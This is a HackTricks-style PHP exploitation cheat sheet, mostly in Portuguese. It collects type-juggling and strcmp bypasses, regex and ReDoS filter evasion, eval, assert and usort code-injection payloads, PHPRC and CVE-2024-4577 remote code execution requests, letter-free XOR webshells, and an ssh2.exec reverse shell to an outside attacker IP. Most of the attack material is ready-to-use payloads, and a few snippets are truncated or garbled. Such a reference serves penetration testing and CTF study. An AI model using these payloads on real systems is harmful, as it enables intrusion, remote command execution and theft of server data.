PHP Truques

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Localização comum de Cookies:

Isto também é válido para cookies do phpMyAdmin.

Cookies:

PHPSESSID
phpMyAdmin

Localizações:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Contornando comparações PHP

Comparações frouxas/Type Juggling ( == )

If == is used in PHP, then there are unexpected cases where the comparison doesn’t behave as expected. This is because “==” only compare values transformed to the same type, if you also want to compare that the type of the compared data is the same you need to use ===.

PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True Uma string que não começa com um número é igual a um número
  • "0xAAAA" == "43690" -> True Strings compostas por números em formato dec ou hex podem ser comparadas a outros números/strings com resultado True se os números forem os mesmos (números em uma string são interpretados como números)
  • "0e3264578" == 0 --> True Uma string começando com “0e” e seguida de qualquer coisa será igual a 0
  • "0X3264578" == 0X --> True Uma string começando com “0” seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0
  • "0e12334" == "0" --> True Isto é muito interessante porque em alguns casos você pode controlar a entrada string de “0” e algum conteúdo que está sendo hashed e comparado a ela. Portanto, se você conseguir fornecer um valor que gere um hash começando com “0e” e sem nenhuma letra, você poderia contornar a comparação. Você pode encontrar already hashed strings com esse formato aqui: https://github.com/spaze/hashes
  • "X" == 0 --> True Qualquer letra em uma string é igual ao int 0

Mais informações em https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling também afeta a função in_array() por padrão (você precisa setar to true o terceiro argumento para fazer uma comparação estrita):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Se essa função for usada para qualquer verificação de autenticação (como checar a password) e o usuário controlar um lado da comparação, ele pode enviar um array vazio em vez de uma string como valor da password (https://example.com/login.php/?username=admin&password[]=) e contornar essa verificação:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

O mesmo erro ocorre com strcasecmp()

Coerção estrita de tipos

Mesmo que === esteja sendo usado, podem haver erros que tornam a comparação vulnerável à coerção de tipos. Por exemplo, se a comparação estiver convertendo os dados para um tipo de objeto diferente antes de comparar:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() pode ser usado para validar a entrada do usuário (ele verifica se alguma palavra/regex de uma blacklist está presente na entrada do usuário e, se não estiver, o código pode continuar sua execução).

Bypass por nova linha

No entanto, ao delimitar o início da regexppreg_match() ela só verifica a primeira linha da entrada do usuário, então, se de alguma forma você conseguir enviar a entrada em várias linhas, você poderá contornar essa checagem. Exemplo:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Para contornar essa verificação você pode enviar o valor com quebras de linha urlencoded (%0A) ou, se puder enviar dados JSON, enviá-los em várias linhas:

{
"cmd": "cat /etc/passwd"
}

Find an example here: https://ramadistra.dev/fbctf-2019-rceservice

Length error bypass

(Este bypass foi aparentemente testado no PHP 5.2.5 e eu não consegui fazê-lo funcionar no PHP 7.3.15)
Se você conseguir enviar para preg_match() uma entrada muito grande válida, ele não será capaz de processá-la e você poderá bypass a checagem. Por exemplo, se estiver fazendo blacklisting de um JSON você poderia enviar:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS Bypass

Truque de: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

Em resumo o problema acontece porque as funções preg_* do PHP são construídas sobre a PCRE library. No PCRE certas regular expressions são casadas usando muitas recursive calls, o que consome muito stack space. É possível definir um limite na quantidade de recursions permitidas, mas no PHP esse limite defaults to 100.000 que é maior do que cabe no stack.

This Stackoverflow thread também foi referenciado no post onde o assunto é abordado com mais profundidade. Nossa tarefa ficou clara agora:
Enviar um input que faça o regex realizar 100_000+ recursions, causando SIGSEGV, fazendo a função preg_match() retornar false, assim levando a aplicação a pensar que nosso input não é malicioso, colocando a surpresa no final do payload algo como {system(<verybadcommand>)} para obter SSTI –> RCE –> flag :).

Bom, em termos de regex, na verdade não estamos fazendo 100k “recursions”, mas sim contando “backtracking steps”, que conforme a PHP documentation indica padrão é 1_000_000 (1M) na variável pcre.backtrack_limit.
Para atingir isso, 'X'*500_001 resultará em 1 milhão de backtracking steps (500k forward e 500k backwards):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Type Juggling for PHP obfuscation

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

Se o PHP estiver redirecionando para outra página, mas nenhuma função die ou exit for chamada após o header Location ser definido, o PHP continua executando e anexando os dados ao corpo:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Path Traversal and File Inclusion Exploitation

Veja:

File Inclusion/Path traversal

Mais truques

  • register_globals: No PHP < 4.1.1.1 ou se mal configurado, register_globals pode estar ativo (ou seu comportamento pode estar sendo imitado). Isso implica que em variáveis globais como $_GET se elas tiverem um valor, por exemplo $_GET[“param”]=“1234”, você pode acessá-lo via $param. Portanto, ao enviar parâmetros HTTP você pode sobrescrever variáveis que são usadas dentro do código.
  • The PHPSESSION cookies of the same domain are stored in the same place, portanto se dentro de um domínio different cookies are used in different paths você pode fazer com que um caminho accesses the cookie of the path definindo o valor do cookie do outro caminho.
    Dessa forma, se both paths access a variable with the same name você pode fazer com que o value of that variable in path1 apply to path2. E então path2 aceitará como válidas as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2).
  • Quando você tem os nomes de usuário dos usuários da máquina. Verifique o endereço: /~<USERNAME> para ver se os diretórios php estão ativados.
  • Se uma configuração do PHP tiver register_argc_argv = On então parâmetros de query separados por espaços são usados para popular o array de argumentos array_keys($_SERVER['argv']) como se fossem arguments from the CLI. Isso é interessante porque se essa setting is off, o valor do args array will be Null quando chamado pela web, já que o array de args não será populado. Portanto, se uma página web tentar verificar se está rodando como web ou como ferramenta CLI com uma comparação como if (empty($_SERVER['argv'])) { um atacante poderia enviar parameters in the GET request like ?--configPath=/lalala e ele vai pensar que está rodando como CLI e potencialmente analisar e usar esses argumentos. More info in the original writeup.
  • LFI and RCE using php wrappers

password_hash/password_verify

Essas funções são tipicamente usadas no PHP para gerar hashes a partir de senhas e para verificar se uma senha está correta comparada com um hash.
Os algoritmos suportados são: PASSWORD_DEFAULT e PASSWORD_BCRYPT (começa com $2y$). Note que PASSWORD_DEFAULT is frequently the same as PASSWORD_BCRYPT. E atualmente, PASSWORD_BCRYPT tem uma size limitation in the input of 72bytes. Portanto, quando você tenta hashear algo maior que 72 bytes com esse algoritmo, apenas os primeiros 72B serão usados:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Bypass de headers HTTP abusando de erros do PHP

Causando erro após definir headers

From this twitter thread you can see that sending more than 1000 GET params or 1000 POST params or 20 files, PHOP is not going to be setting headers in the response.

Permitindo contornar, por exemplo, headers CSP definidos em códigos como:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Preenchendo o corpo antes de definir os cabeçalhos

Se uma página PHP está imprimindo erros e retornando parte do input fornecido pelo usuário, o usuário pode fazer o servidor PHP imprimir algum conteúdo longo o suficiente de modo que, quando ele tentar adicionar os cabeçalhos na resposta, o servidor lance um erro.
No cenário a seguir o atacante fez o servidor lançar erros grandes, e como você pode ver na tela, quando o php tentou modificar as informações de cabeçalho, não conseguiu (por exemplo, o header CSP não foi enviado para o usuário):

SSRF in PHP functions

Veja a página:

PHP SSRF

ssh2.exec stream wrapper RCE

When the ssh2 extension is installed (ssh2.so visible under /etc/php*/mods-available/, php -m, or even an FTP-accessible php8.1_conf/ directory), PHP registers ssh2.* wrappers that can be abused anywhere user input is concatenated into fopen()/file_get_contents() targets. An admin-only download helper such as:

$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');

é suficiente para executar comandos de shell via SSH no localhost:

GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
  • A parte das credenciais pode reutilizar qualquer leaked system password (e.g., from cracked bcrypt hashes).
  • O # final comenta o sufixo do lado do servidor (files/<id>.zip), então apenas seu comando é executado.
  • Blind RCE é confirmado observando tráfego de saída com tcpdump -ni tun0 icmp ou servindo um HTTP canary.

Substitua o comando por um reverse shell payload depois de validado:

format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#

Como tudo acontece dentro do PHP worker, a conexão TCP se origina no alvo e herda os privilégios da conta injetada (yuri, eric, etc.).

Execução de código

system(“ls”);
ls;
shell_exec(“ls”);

Veja isto para mais funções PHP úteis

RCE via preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Para executar o código no argumento “replace” é necessário pelo menos um match. Esta opção do preg_replace foi descontinuada a partir do PHP 5.5.0.

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE via Assert()

Essa função dentro do php permite executar código que está escrito em uma string para retornar true ou false (e, dependendo disso, alterar a execução). Normalmente a variável do usuário será inserida no meio de uma string. Por exemplo:
assert("strpos($_GET['page']),'..') === false") –> Neste caso, para obter RCE você poderia fazer:

?page=a','NeVeR') === false and system('ls') and strpos('a

Você precisará quebrar a sintaxe do código, inserir seu payload, e então consertá-lo novamente. Você pode usar operações lógicas tais como “and” or “%26%26” or “|”. Observe que “or”, “||” não funcionam porque, se a primeira condição for verdadeira, nosso payload não será executado. Da mesma forma “;” não funciona pois nosso payload não será executado.

Other option is to add to the string the execution of the command: '.highlight_file('.passwd').'

Other option (if you have the internal code) is to modify some variable to alter the execution: $file = "hola"

RCE via usort()

This function is used to sort an array of items using an specific function.
To abuse this function:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Você também pode usar // para comentar o resto do código.

Para descobrir o número de parênteses que você precisa fechar:

  • ?order=id;}//: recebemos uma mensagem de erro (Parse error: syntax error, unexpected ';'). Provavelmente estão faltando uma ou mais chaves.
  • ?order=id);}//: recebemos um aviso. Isso parece correto.
  • ?order=id));}//: recebemos uma mensagem de erro (Parse error: syntax error, unexpected ')' i). Provavelmente há parênteses/fechamentos a mais.

RCE via .httaccess

Se você puder enviar um .htaccess, então pode configurar várias coisas e até executar código (configurando que arquivos com extensão .htaccess possam ser executados).

Different .htaccess shells can be found here

RCE via Env Variables

Se você encontrar uma vulnerabilidade que permita modificar env variables in PHP (e outra para enviar arquivos, embora com mais pesquisa talvez isso possa ser contornado), você pode abusar desse comportamento para obter RCE.

  • LD_PRELOAD: Esta variável de ambiente permite carregar bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).
  • PHPRC : Instrui o PHP sobre onde localizar seu arquivo de configuração, geralmente chamado php.ini. Se você puder enviar seu próprio arquivo de configuração, então use PHPRC para apontar o PHP para ele. Adicione uma entrada auto_prepend_file especificando um segundo arquivo enviado. Esse segundo arquivo contém código normal PHP, que é então executado pelo runtime do PHP antes de qualquer outro código.
  1. Envie um arquivo PHP contendo nosso shellcode
  2. Envie um segundo arquivo, contendo uma diretiva auto_prepend_file instruindo o pré-processador do PHP a executar o arquivo que enviamos no passo 1
  3. Defina a variável PHPRC para o arquivo que enviamos no passo 2.
  • Obtenha mais informações sobre como executar essa cadeia from the original report.
  • PHPRC - outra opção
  • Se você não puder enviar arquivos, pode usar no FreeBSD o “arquivo” /dev/fd/0 que contém o stdin, sendo o body da requisição enviada para o stdin:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Ou para obter RCE, habilite allow_url_include e prepend um arquivo com base64 PHP code:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Technique from this report.

XAMPP CGI RCE - CVE-2024-4577

O webserver analisa requisições HTTP e as passa para um script PHP executando uma requisição como http://host/cgi.php?foo=bar como php.exe cgi.php foo=bar, o que permite uma injeção de parâmetro. Isso permitiria injetar os seguintes parâmetros para carregar o código PHP a partir do body:

-d allow_url_include=1 -d auto_prepend_file=php://input

Além disso, é possível injetar o parâmetro “-” usando o caractere 0xAD devido à normalização posterior do PHP. Veja o exemplo de exploit em this post:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

In this post é possível encontrar ótimas ideias para gerar um código brain fuck PHP com pouquíssimos caracteres permitidos.\ Além disso, também é proposta uma maneira interessante de executar funções que lhes permitiu bypassar várias verificações:

(1)->{system($_GET[chr(97)])}

PHP Análise Estática

Verifique se você pode inserir código em chamadas para estas funções (a partir de here):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Se você está depurando uma aplicação PHP pode habilitar globalmente a impressão de erros em /etc/php5/apache2/php.ini adicionando display_errors = On e reiniciar o apache: sudo systemctl restart apache2

Desofuscação de código PHP

Você pode usar a web www.unphp.net para desofuscar código php.

PHP Wrappers & Protocols

PHP Wrappers e Protocols podem permitir que você bypass write and read protections em um sistema e comprometê-lo. Para mais informações veja esta página.

Xdebug RCE não autenticado

Se você observar que Xdebug está habilitado na saída de phpconfig() você deve tentar obter RCE via https://github.com/nqxcode/xdebug-exploit

Variáveis variáveis

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE abusando de new $_GET[“a”]($_GET[“b”])

Se em uma página você consegue criar um novo objeto de uma classe arbitrária, pode ser possível obter RCE. Confira a página a seguir para aprender como:

Php Rce Abusing Object Creation New Usd Get A Usd Get B

Executar PHP sem letras

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Usando octal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

Shellcode XOR simples

De acordo com this writeup , é possível gerar um shellcode simples da seguinte forma:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Então, se você pode execute arbitrary PHP without numbers and letters, você pode enviar uma request como a seguinte, abusando desse payload para executar arbitrary PHP:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Para uma explicação mais aprofundada confira https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (dentro do eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Semelhante ao Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks